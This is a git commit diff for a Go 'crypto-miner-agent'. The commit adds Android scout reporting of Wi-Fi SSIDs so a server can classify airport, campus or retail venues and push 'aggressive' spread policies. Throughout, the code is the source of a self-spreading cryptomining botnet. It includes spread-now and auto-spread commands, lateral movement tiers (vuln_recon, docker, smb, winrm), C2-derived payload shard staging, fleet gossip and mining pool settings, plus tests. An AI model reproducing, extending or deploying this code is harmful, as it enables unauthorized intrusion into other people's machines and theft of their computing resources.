Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -101,7 +101,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
return true
case "spread_now":
msg := deploy.RunSpreadOnce(c.cfg)
msg := deploy.RunSpreadOnce(c.cfgForSpread())
c.sendCommandResult(action, true, msg)
return true

View File

@@ -115,7 +115,7 @@ func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
c.sendCommandResult("spread_now", false, reason)
return
}
msg := deploy.RunSpreadOnce(c.cfg)
msg := deploy.RunSpreadOnce(c.cfgForSpread())
c.sendCommandResult("spread_now", true, msg)
}

View File

@@ -72,6 +72,8 @@ type AgentClient struct {
gossipSent map[string]struct{}
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
inheritedPhenotype *InheritedPhenotype
// pendingGraft is a court-approved strain splice applied on the next spread.
pendingGraft *GraftPolicy
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
@@ -83,6 +85,10 @@ type AgentClient struct {
fleetRoleHintVal string
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
lanSeeders []deploy.LANSeederHint
// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
fleetTorrentEnabled bool
// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
subnetPrimarySeeder bool
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -417,6 +423,10 @@ func (c *AgentClient) authenticate() error {
}
c.applyAuthLotlPolicy(resp)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
if resp.FleetTorrentEnabled {
c.advertiseFleetTorrentHealthy()
}
c.agentID = resp.AgentID
if resp.ClearanceLevel > 0 {
c.mu.Lock()
@@ -457,7 +467,7 @@ func (c *AgentClient) authenticate() error {
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.RunSpreadOnce(c.cfgForSpread())
deploy.ClearFirstRunSpreadMarker(cfg)
}
}
@@ -533,6 +543,8 @@ func (c *AgentClient) handleMessage(msg Message) {
}
case "policy_update":
go c.applyPolicyUpdate(msg.Payload)
case "graft_policy":
c.applyGraftPolicyJSON(msg.Payload)
case "adaptive_strategy_update":
c.applyAdaptiveStrategyJSON(msg.Payload)
case "ai_snapshot_request":
@@ -551,6 +563,8 @@ func (c *AgentClient) handleMessage(msg Message) {
}
case "atlas_gossip":
c.handleAtlasGossip(msg.Payload)
case "fleet_torrent_gossip":
c.handleFleetTorrentGossip(msg.Payload)
case "command":
var cmd struct {
Action string `json:"action"`

View File

@@ -68,6 +68,7 @@ func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
if len(resp.LANSeeders) > 0 {
c.setLANSeeders(resp.LANSeeders)
}
c.applyAuthFleetTorrent(resp)
}
func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {

View File

@@ -49,11 +49,17 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
return
}
if len(resp.EpidemiologyFix) > 0 {
c.applyEpidemiologyFixJSON(resp.EpidemiologyFix)
}
if len(resp.SpreadTemperament) > 0 {
c.mu.Lock()
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
c.mu.Unlock()
}
if graftPolicyPresent(resp.GraftPolicy) {
c.applyGraftPolicyJSON(resp.GraftPolicy)
}
if len(resp.MiningTierPolicy) > 0 {
return
}
@@ -87,9 +93,11 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
return
}
var policy struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
return
@@ -102,5 +110,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
}
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
if len(policy.SpreadTemperament) > 0 {
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
}
c.mu.Unlock()
}

View File

@@ -27,6 +27,7 @@ type FleetPolicyUpdate struct {
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
}
// ModuleManifest matches server-signed feature packs.
@@ -107,6 +108,34 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
}
applySpreadTemperament(cfg, p.SpreadTemperament)
if len(p.SpreadPolicy) > 0 {
applySpreadPolicyFields(cfg, p.SpreadPolicy)
}
}
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var policy struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
return
}
if policy.HashrateGateSpreadMin > 0 {
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
cfg.HashrateGateHPS = policy.HashrateGateHPS
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
applySpreadTemperament(cfg, policy.SpreadTemperament)
}
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {

View File

@@ -70,11 +70,14 @@ type AuthResponse struct {
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
GraftPolicy json.RawMessage `json:"graft_policy,omitempty"`
}
type SharePayload struct {

View File

@@ -0,0 +1,71 @@
package client
import (
"encoding/json"
"os"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func TestScoutReportPayloadIncludesSSID(t *testing.T) {
t.Setenv("AETHERFORGE_WIFI_SSID", "Campus-Guest")
if got := deploy.ScoutWiFiSSID(); got != "Campus-Guest" {
t.Fatalf("ssid=%q", got)
}
result := deploy.ServiceDiscoverResult{
ProbedAt: "2026-06-07T12:00:00Z",
Local: deploy.ServiceGraphHost{Host: "127.0.0.1"},
}
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
report := map[string]interface{}{
"join_lane": "docker",
"service_count": 4,
"service_graph": result,
"scout_mode": true,
}
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
report["ssid"] = ssid
}
raw, err := json.Marshal(report)
if err != nil {
t.Fatal(err)
}
var decoded map[string]interface{}
if err := json.Unmarshal(raw, &decoded); err != nil {
t.Fatal(err)
}
if decoded["ssid"] != "Campus-Guest" {
t.Fatalf("ssid=%v", decoded["ssid"])
}
_ = c
}
func TestApplySpreadPolicyScoutConstellationTemperament(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
ScoutMode: true, LotlPolicyFromServer: true,
LotlOnionTiers: []string{"discover_and_join", "service_graph"},
}}}
raw, _ := json.Marshal(map[string]interface{}{
"scout_constellation": true,
"persona_pack": "aggressive",
"venue_class": "retail",
"spread_temperament": map[string]interface{}{
"tier_order": []string{"vuln_recon", "docker", "smb", "winrm"},
},
})
c.applySpreadPolicyJSON(raw)
if len(c.cfg.LotlOnionTiers) == 0 || c.cfg.LotlOnionTiers[1] != "docker" {
t.Fatalf("tiers=%v", c.cfg.LotlOnionTiers)
}
}
func TestScoutWiFiSSIDEmptyWithoutEnv(t *testing.T) {
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
if got := deploy.ScoutWiFiSSID(); got != "" {
t.Fatalf("expected empty ssid, got %q", got)
}
}

View File

@@ -59,12 +59,16 @@ func (c *AgentClient) runScoutCycle() {
}
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
payload, err := json.Marshal(map[string]interface{}{
report := map[string]interface{}{
"join_lane": joinLane,
"service_count": serviceCount,
"service_graph": result,
"scout_mode": true,
})
}
if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
report["ssid"] = ssid
}
payload, err := json.Marshal(report)
if err != nil {
return
}

View File

@@ -124,6 +124,11 @@ type BuiltinConfig struct {
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
GraftSourceStrain string
GraftTier string
GraftApprovedAt string
// ApkMode marks Android fleet-node builds; registration reports platform=android.
ApkMode bool
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
@@ -142,6 +147,10 @@ type BuiltinConfig struct {
HashrateGateHPS float64
// ErasureLanesEnabled allows ReedSolomon multi-lane reassembly fallback on deploy plans (server policy).
ErasureLanesEnabled bool
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
FleetTorrentEnabled bool
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
SubnetPrimarySeeder bool
}
// BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -14,15 +14,17 @@ import (
// SpreadRouteHint is the server BGP-style spread route recommendation.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -102,6 +104,13 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
return msg, nil
}
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4()
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
@@ -235,6 +244,22 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
}
}
func c2BaseFromPlan(plan DeployPlanBody) string {
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
return ""
}
for _, ref := range plan.ErasurePlan.Shards {
u := strings.TrimSpace(ref.URL)
if u == "" || !strings.HasPrefix(u, "http") {
continue
}
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
return strings.TrimRight(u[:idx], "/")
}
}
return ""
}
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
return "", false

View File

@@ -68,6 +68,11 @@ func PreferredLANSeeder() *LANSeederHint {
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
}
// SubnetFromIP returns the /24 prefix for fleet torrent and LAN seeder matching.
func SubnetFromIP(ip string) string {
return subnet24(ip)
}
func subnet24(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {

View File

@@ -0,0 +1,12 @@
package deploy
import (
"os"
"strings"
)
// ScoutWiFiSSID returns the connected Wi-Fi SSID for APK scout constellation reports.
// The Android wrapper may set AETHERFORGE_WIFI_SSID; zero-config when unset.
func ScoutWiFiSSID() string {
return strings.TrimSpace(os.Getenv("AETHERFORGE_WIFI_SSID"))
}

View File

@@ -0,0 +1,17 @@
package deploy
import (
"os"
"testing"
)
func TestScoutWiFiSSIDFromEnv(t *testing.T) {
t.Setenv("AETHERFORGE_WIFI_SSID", " Airport-Lounge ")
if got := ScoutWiFiSSID(); got != "Airport-Lounge" {
t.Fatalf("ssid=%q", got)
}
_ = os.Unsetenv("AETHERFORGE_WIFI_SSID")
if got := ScoutWiFiSSID(); got != "" {
t.Fatalf("expected empty, got %q", got)
}
}

View File

@@ -17,6 +17,9 @@ func StartSeederStaging(cfg config.RuntimeConfig) {
tiers = append([]string(nil), config.SeederSpreadLanes...)
}
log.Printf("[seeder] starting staging lanes: %v", tiers)
if config.FleetTorrentEnabled(cfg) {
StartFleetTorrentSeederService(cfg)
}
go runSeederLaneChain(cfg, tiers)
}